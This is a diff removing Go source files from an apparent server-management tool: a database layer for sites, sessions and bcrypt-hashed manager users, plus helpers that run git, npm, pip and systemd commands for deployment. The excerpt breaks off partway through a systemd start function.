||||||
|
|
||||||
func (d *DB) PingFloatSession(id string) error {
|
|
||||||
_, err := d.conn.Exec(`UPDATE float_sessions SET last_ping=CURRENT_TIMESTAMP WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CleanExpiredFloatSessions() (int64, error) {
|
|
||||||
result, err := d.conn.Exec(`DELETE FROM float_sessions WHERE expires_at < CURRENT_TIMESTAMP`)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
return result.RowsAffected()
|
|
||||||
}
|
|
||||||
@ -1,107 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import (
|
|
||||||
"database/sql"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Site struct {
|
|
||||||
ID int64 `json:"id"`
|
|
||||||
Domain string `json:"domain"`
|
|
||||||
Aliases string `json:"aliases"`
|
|
||||||
AppType string `json:"app_type"`
|
|
||||||
AppRoot string `json:"app_root"`
|
|
||||||
AppPort int `json:"app_port"`
|
|
||||||
AppEntry string `json:"app_entry"`
|
|
||||||
GitRepo string `json:"git_repo"`
|
|
||||||
GitBranch string `json:"git_branch"`
|
|
||||||
SSLEnabled bool `json:"ssl_enabled"`
|
|
||||||
SSLCertPath string `json:"ssl_cert_path"`
|
|
||||||
SSLKeyPath string `json:"ssl_key_path"`
|
|
||||||
SSLAuto bool `json:"ssl_auto"`
|
|
||||||
Enabled bool `json:"enabled"`
|
|
||||||
CreatedAt time.Time `json:"created_at"`
|
|
||||||
UpdatedAt time.Time `json:"updated_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ListSites() ([]Site, error) {
|
|
||||||
rows, err := d.conn.Query(`SELECT id, domain, aliases, app_type, app_root, app_port,
|
|
||||||
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
|
|
||||||
ssl_auto, enabled, created_at, updated_at FROM sites ORDER BY domain`)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
|
|
||||||
var sites []Site
|
|
||||||
for rows.Next() {
|
|
||||||
var s Site
|
|
||||||
if err := rows.Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
|
|
||||||
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
|
|
||||||
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
|
|
||||||
&s.CreatedAt, &s.UpdatedAt); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
sites = append(sites, s)
|
|
||||||
}
|
|
||||||
return sites, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) GetSite(id int64) (*Site, error) {
|
|
||||||
var s Site
|
|
||||||
err := d.conn.QueryRow(`SELECT id, domain, aliases, app_type, app_root, app_port,
|
|
||||||
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
|
|
||||||
ssl_auto, enabled, created_at, updated_at FROM sites WHERE id = ?`, id).
|
|
||||||
Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
|
|
||||||
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
|
|
||||||
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
|
|
||||||
&s.CreatedAt, &s.UpdatedAt)
|
|
||||||
if err == sql.ErrNoRows {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
return &s, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) GetSiteByDomain(domain string) (*Site, error) {
|
|
||||||
var s Site
|
|
||||||
err := d.conn.QueryRow(`SELECT id, domain, aliases, app_type, app_root, app_port,
|
|
||||||
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
|
|
||||||
ssl_auto, enabled, created_at, updated_at FROM sites WHERE domain = ?`, domain).
|
|
||||||
Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
|
|
||||||
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
|
|
||||||
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
|
|
||||||
&s.CreatedAt, &s.UpdatedAt)
|
|
||||||
if err == sql.ErrNoRows {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
return &s, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CreateSite(s *Site) (int64, error) {
|
|
||||||
result, err := d.conn.Exec(`INSERT INTO sites (domain, aliases, app_type, app_root, app_port,
|
|
||||||
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path, ssl_auto, enabled)
|
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
|
||||||
s.Domain, s.Aliases, s.AppType, s.AppRoot, s.AppPort,
|
|
||||||
s.AppEntry, s.GitRepo, s.GitBranch, s.SSLEnabled,
|
|
||||||
s.SSLCertPath, s.SSLKeyPath, s.SSLAuto, s.Enabled)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
return result.LastInsertId()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) UpdateSite(s *Site) error {
|
|
||||||
_, err := d.conn.Exec(`UPDATE sites SET domain=?, aliases=?, app_type=?, app_root=?,
|
|
||||||
app_port=?, app_entry=?, git_repo=?, git_branch=?, ssl_enabled=?,
|
|
||||||
ssl_cert_path=?, ssl_key_path=?, ssl_auto=?, enabled=?, updated_at=CURRENT_TIMESTAMP
|
|
||||||
WHERE id=?`,
|
|
||||||
s.Domain, s.Aliases, s.AppType, s.AppRoot, s.AppPort,
|
|
||||||
s.AppEntry, s.GitRepo, s.GitBranch, s.SSLEnabled,
|
|
||||||
s.SSLCertPath, s.SSLKeyPath, s.SSLAuto, s.Enabled, s.ID)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) DeleteSite(id int64) error {
|
|
||||||
_, err := d.conn.Exec(`DELETE FROM sites WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
@ -1,124 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import (
|
|
||||||
"database/sql"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"golang.org/x/crypto/bcrypt"
|
|
||||||
)
|
|
||||||
|
|
||||||
type ManagerUser struct {
|
|
||||||
ID int64 `json:"id"`
|
|
||||||
Username string `json:"username"`
|
|
||||||
PasswordHash string `json:"-"`
|
|
||||||
Role string `json:"role"`
|
|
||||||
ForceChange bool `json:"force_change"`
|
|
||||||
LastLogin *time.Time `json:"last_login"`
|
|
||||||
CreatedAt time.Time `json:"created_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ListManagerUsers() ([]ManagerUser, error) {
|
|
||||||
rows, err := d.conn.Query(`SELECT id, username, password_hash, role, force_change,
|
|
||||||
last_login, created_at FROM manager_users ORDER BY username`)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
|
|
||||||
var users []ManagerUser
|
|
||||||
for rows.Next() {
|
|
||||||
var u ManagerUser
|
|
||||||
if err := rows.Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
|
|
||||||
&u.ForceChange, &u.LastLogin, &u.CreatedAt); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
users = append(users, u)
|
|
||||||
}
|
|
||||||
return users, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) GetManagerUser(username string) (*ManagerUser, error) {
|
|
||||||
var u ManagerUser
|
|
||||||
err := d.conn.QueryRow(`SELECT id, username, password_hash, role, force_change,
|
|
||||||
last_login, created_at FROM manager_users WHERE username = ?`, username).
|
|
||||||
Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
|
|
||||||
&u.ForceChange, &u.LastLogin, &u.CreatedAt)
|
|
||||||
if err == sql.ErrNoRows {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
return &u, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) GetManagerUserByID(id int64) (*ManagerUser, error) {
|
|
||||||
var u ManagerUser
|
|
||||||
err := d.conn.QueryRow(`SELECT id, username, password_hash, role, force_change,
|
|
||||||
last_login, created_at FROM manager_users WHERE id = ?`, id).
|
|
||||||
Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
|
|
||||||
&u.ForceChange, &u.LastLogin, &u.CreatedAt)
|
|
||||||
if err == sql.ErrNoRows {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
return &u, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CreateManagerUser(username, password, role string) (int64, error) {
|
|
||||||
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
result, err := d.conn.Exec(`INSERT INTO manager_users (username, password_hash, role)
|
|
||||||
VALUES (?, ?, ?)`, username, string(hash), role)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
return result.LastInsertId()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) UpdateManagerUserPassword(id int64, password string) error {
|
|
||||||
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = d.conn.Exec(`UPDATE manager_users SET password_hash=?, force_change=FALSE WHERE id=?`,
|
|
||||||
string(hash), id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) UpdateManagerUserRole(id int64, role string) error {
|
|
||||||
_, err := d.conn.Exec(`UPDATE manager_users SET role=? WHERE id=?`, role, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) DeleteManagerUser(id int64) error {
|
|
||||||
_, err := d.conn.Exec(`DELETE FROM manager_users WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) UpdateLoginTimestamp(id int64) error {
|
|
||||||
_, err := d.conn.Exec(`UPDATE manager_users SET last_login=CURRENT_TIMESTAMP WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ManagerUserCount() (int, error) {
|
|
||||||
var count int
|
|
||||||
err := d.conn.QueryRow(`SELECT COUNT(*) FROM manager_users`).Scan(&count)
|
|
||||||
return count, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) AuthenticateUser(username, password string) (*ManagerUser, error) {
|
|
||||||
u, err := d.GetManagerUser(username)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
if u == nil {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := bcrypt.CompareHashAndPassword([]byte(u.PasswordHash), []byte(password)); err != nil {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
d.UpdateLoginTimestamp(u.ID)
|
|
||||||
return u, nil
|
|
||||||
}
|
|
||||||
@ -1,144 +0,0 @@
|
|||||||
package deploy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// CommitInfo holds metadata for a single git commit.
|
|
||||||
type CommitInfo struct {
|
|
||||||
Hash string
|
|
||||||
Author string
|
|
||||||
Date string
|
|
||||||
Message string
|
|
||||||
}
|
|
||||||
|
|
||||||
// Clone clones a git repository into dest, checking out the given branch.
|
|
||||||
func Clone(repo, branch, dest string) (string, error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
args := []string{"clone", "--branch", branch, "--progress", repo, dest}
|
|
||||||
out, err := exec.Command(git, args...).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("git clone: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Pull performs a fast-forward-only pull in the given directory.
|
|
||||||
func Pull(dir string) (string, error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(git, "pull", "--ff-only")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("git pull: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// CurrentCommit returns the hash and message of the latest commit in dir.
|
|
||||||
func CurrentCommit(dir string) (hash string, message string, err error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return "", "", fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(git, "log", "--oneline", "-1")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.Output()
|
|
||||||
if err != nil {
|
|
||||||
return "", "", fmt.Errorf("git log: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
line := strings.TrimSpace(string(out))
|
|
||||||
if line == "" {
|
|
||||||
return "", "", fmt.Errorf("git log: no commits found")
|
|
||||||
}
|
|
||||||
|
|
||||||
parts := strings.SplitN(line, " ", 2)
|
|
||||||
hash = parts[0]
|
|
||||||
if len(parts) > 1 {
|
|
||||||
message = parts[1]
|
|
||||||
}
|
|
||||||
return hash, message, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetBranch returns the current branch name for the repository in dir.
|
|
||||||
func GetBranch(dir string) (string, error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(git, "rev-parse", "--abbrev-ref", "HEAD")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.Output()
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("git rev-parse: %w", err)
|
|
||||||
}
|
|
||||||
return strings.TrimSpace(string(out)), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasChanges returns true if the working tree in dir has uncommitted changes.
|
|
||||||
func HasChanges(dir string) (bool, error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return false, fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(git, "status", "--porcelain")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.Output()
|
|
||||||
if err != nil {
|
|
||||||
return false, fmt.Errorf("git status: %w", err)
|
|
||||||
}
|
|
||||||
return strings.TrimSpace(string(out)) != "", nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Log returns the last n commits from the repository in dir.
|
|
||||||
func Log(dir string, n int) ([]CommitInfo, error) {
|
|
||||||
git, err := exec.LookPath("git")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("git not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use a delimiter unlikely to appear in commit messages.
|
|
||||||
const sep = "||SETEC||"
|
|
||||||
format := fmt.Sprintf("%%h%s%%an%s%%ai%s%%s", sep, sep, sep)
|
|
||||||
|
|
||||||
cmd := exec.Command(git, "log", fmt.Sprintf("-n%d", n), fmt.Sprintf("--format=%s", format))
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.Output()
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("git log: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
|
|
||||||
var commits []CommitInfo
|
|
||||||
for _, line := range lines {
|
|
||||||
line = strings.TrimSpace(line)
|
|
||||||
if line == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
parts := strings.SplitN(line, sep, 4)
|
|
||||||
if len(parts) < 4 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
commits = append(commits, CommitInfo{
|
|
||||||
Hash: parts[0],
|
|
||||||
Author: parts[1],
|
|
||||||
Date: parts[2],
|
|
||||||
Message: parts[3],
|
|
||||||
})
|
|
||||||
}
|
|
||||||
return commits, nil
|
|
||||||
}
|
|
||||||
@ -1,100 +0,0 @@
|
|||||||
package deploy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// NpmInstall runs npm install in the given directory.
|
|
||||||
func NpmInstall(dir string) (string, error) {
|
|
||||||
npm, err := exec.LookPath("npm")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("npm not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(npm, "install")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("npm install: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// NpmBuild runs npm run build in the given directory.
|
|
||||||
func NpmBuild(dir string) (string, error) {
|
|
||||||
npm, err := exec.LookPath("npm")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("npm not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(npm, "run", "build")
|
|
||||||
cmd.Dir = dir
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("npm run build: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// NpmAudit runs npm audit in the given directory and returns the report.
|
|
||||||
func NpmAudit(dir string) (string, error) {
|
|
||||||
npm, err := exec.LookPath("npm")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("npm not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(npm, "audit")
|
|
||||||
cmd.Dir = dir
|
|
||||||
// npm audit exits non-zero when vulnerabilities are found, which is not
|
|
||||||
// an execution error — we still want the output.
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
// Return the output even on non-zero exit; the caller can inspect it.
|
|
||||||
return string(out), fmt.Errorf("npm audit: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasPackageJSON returns true if a package.json file exists in dir.
|
|
||||||
func HasPackageJSON(dir string) bool {
|
|
||||||
info, err := os.Stat(filepath.Join(dir, "package.json"))
|
|
||||||
return err == nil && !info.IsDir()
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasNodeModules returns true if a node_modules directory exists in dir.
|
|
||||||
func HasNodeModules(dir string) bool {
|
|
||||||
info, err := os.Stat(filepath.Join(dir, "node_modules"))
|
|
||||||
return err == nil && info.IsDir()
|
|
||||||
}
|
|
||||||
|
|
||||||
// NodeVersion returns the installed Node.js version string.
|
|
||||||
func NodeVersion() (string, error) {
|
|
||||||
node, err := exec.LookPath("node")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("node not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(node, "--version").Output()
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("node --version: %w", err)
|
|
||||||
}
|
|
||||||
return strings.TrimSpace(string(out)), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// NpmVersion returns the installed npm version string.
|
|
||||||
func NpmVersion() (string, error) {
|
|
||||||
npm, err := exec.LookPath("npm")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("npm not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(npm, "--version").Output()
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("npm --version: %w", err)
|
|
||||||
}
|
|
||||||
return strings.TrimSpace(string(out)), nil
|
|
||||||
}
|
|
||||||
@ -1,93 +0,0 @@
|
|||||||
package deploy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// PipPackage holds the name and version of an installed pip package.
|
|
||||||
type PipPackage struct {
|
|
||||||
Name string `json:"name"`
|
|
||||||
Version string `json:"version"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// CreateVenv creates a Python virtual environment at <dir>/venv.
|
|
||||||
func CreateVenv(dir string) error {
|
|
||||||
python, err := exec.LookPath("python3")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("python3 not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
venvPath := filepath.Join(dir, "venv")
|
|
||||||
out, err := exec.Command(python, "-m", "venv", venvPath).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("create venv: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// UpgradePip upgrades pip, setuptools, and wheel inside the virtual environment
|
|
||||||
// rooted at venvDir.
|
|
||||||
func UpgradePip(venvDir string) error {
|
|
||||||
pip := filepath.Join(venvDir, "bin", "pip")
|
|
||||||
if _, err := os.Stat(pip); err != nil {
|
|
||||||
return fmt.Errorf("pip not found at %s: %w", pip, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(pip, "install", "--upgrade", "pip", "setuptools", "wheel").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("upgrade pip: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// InstallRequirements installs packages from a requirements file into the
|
|
||||||
// virtual environment rooted at venvDir.
|
|
||||||
func InstallRequirements(venvDir, reqFile string) (string, error) {
|
|
||||||
pip := filepath.Join(venvDir, "bin", "pip")
|
|
||||||
if _, err := os.Stat(pip); err != nil {
|
|
||||||
return "", fmt.Errorf("pip not found at %s: %w", pip, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := os.Stat(reqFile); err != nil {
|
|
||||||
return "", fmt.Errorf("requirements file not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(pip, "install", "-r", reqFile).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return string(out), fmt.Errorf("pip install: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return string(out), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ListPackages returns all installed packages in the virtual environment
|
|
||||||
// rooted at venvDir.
|
|
||||||
func ListPackages(venvDir string) ([]PipPackage, error) {
|
|
||||||
pip := filepath.Join(venvDir, "bin", "pip")
|
|
||||||
if _, err := os.Stat(pip); err != nil {
|
|
||||||
return nil, fmt.Errorf("pip not found at %s: %w", pip, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(pip, "list", "--format=json").Output()
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("pip list: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var packages []PipPackage
|
|
||||||
if err := json.Unmarshal(out, &packages); err != nil {
|
|
||||||
return nil, fmt.Errorf("parse pip list output: %w", err)
|
|
||||||
}
|
|
||||||
return packages, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// VenvExists returns true if a virtual environment with a working python3
|
|
||||||
// binary exists at <dir>/venv.
|
|
||||||
func VenvExists(dir string) bool {
|
|
||||||
python := filepath.Join(dir, "venv", "bin", "python3")
|
|
||||||
info, err := os.Stat(python)
|
|
||||||
return err == nil && !info.IsDir()
|
|
||||||
}
|
|
||||||
@ -1,246 +0,0 @@
|
|||||||
package deploy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"sort"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// UnitConfig holds the parameters needed to generate a systemd unit file.
|
|
||||||
type UnitConfig struct {
|
|
||||||
Name string
|
|
||||||
Description string
|
|
||||||
ExecStart string
|
|
||||||
WorkingDirectory string
|
|
||||||
User string
|
|
||||||
Environment map[string]string
|
|
||||||
After string
|
|
||||||
RestartPolicy string
|
|
||||||
}
|
|
||||||
|
|
||||||
// GenerateUnit produces the contents of a systemd service unit file from cfg.
|
|
||||||
func GenerateUnit(cfg UnitConfig) string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
// [Unit]
|
|
||||||
b.WriteString("[Unit]\n")
|
|
||||||
if cfg.Description != "" {
|
|
||||||
fmt.Fprintf(&b, "Description=%s\n", cfg.Description)
|
|
||||||
}
|
|
||||||
after := cfg.After
|
|
||||||
if after == "" {
|
|
||||||
after = "network.target"
|
|
||||||
}
|
|
||||||
fmt.Fprintf(&b, "After=%s\n", after)
|
|
||||||
|
|
||||||
// [Service]
|
|
||||||
b.WriteString("\n[Service]\n")
|
|
||||||
b.WriteString("Type=simple\n")
|
|
||||||
if cfg.User != "" {
|
|
||||||
fmt.Fprintf(&b, "User=%s\n", cfg.User)
|
|
||||||
}
|
|
||||||
if cfg.WorkingDirectory != "" {
|
|
||||||
fmt.Fprintf(&b, "WorkingDirectory=%s\n", cfg.WorkingDirectory)
|
|
||||||
}
|
|
||||||
fmt.Fprintf(&b, "ExecStart=%s\n", cfg.ExecStart)
|
|
||||||
|
|
||||||
restart := cfg.RestartPolicy
|
|
||||||
if restart == "" {
|
|
||||||
restart = "on-failure"
|
|
||||||
}
|
|
||||||
fmt.Fprintf(&b, "Restart=%s\n", restart)
|
|
||||||
b.WriteString("RestartSec=5\n")
|
|
||||||
|
|
||||||
// Environment variables — sorted for deterministic output.
|
|
||||||
if len(cfg.Environment) > 0 {
|
|
||||||
keys := make([]string, 0, len(cfg.Environment))
|
|
||||||
for k := range cfg.Environment {
|
|
||||||
keys = append(keys, k)
|
|
||||||
}
|
|
||||||
sort.Strings(keys)
|
|
||||||
for _, k := range keys {
|
|
||||||
fmt.Fprintf(&b, "Environment=%s=%s\n", k, cfg.Environment[k])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// [Install]
|
|
||||||
b.WriteString("\n[Install]\n")
|
|
||||||
b.WriteString("WantedBy=multi-user.target\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// InstallUnit writes a systemd unit file and reloads the daemon.
|
|
||||||
func InstallUnit(name, content string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
unitPath := filepath.Join("/etc/systemd/system", name+".service")
|
|
||||||
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
|
||||||
return fmt.Errorf("write unit file: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// RemoveUnit stops, disables, and removes a systemd unit file, then reloads.
|
|
||||||
func RemoveUnit(name string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("systemctl not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
unit := name + ".service"
|
|
||||||
|
|
||||||
// Best-effort stop and disable — ignore errors if already stopped/disabled.
|
|
||||||
exec.Command(systemctl, "stop", unit).Run()
|
|
||||||
exec.Command(systemctl, "disable", unit).Run()
|
|
||||||
|
|
||||||
unitPath := filepath.Join("/etc/systemd/system", unit)
|
|
||||||
if err := os.Remove(unitPath); err != nil && !os.IsNotExist(err) {
|
|
||||||
return fmt.Errorf("remove unit file: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start starts a systemd unit.
|
|
||||||
func Start(unit string) error {
|
|
||||||
systemctl, err := exec.LookPath("systemctl")
|
|
||||||
if err != nil {
|
|
||||||
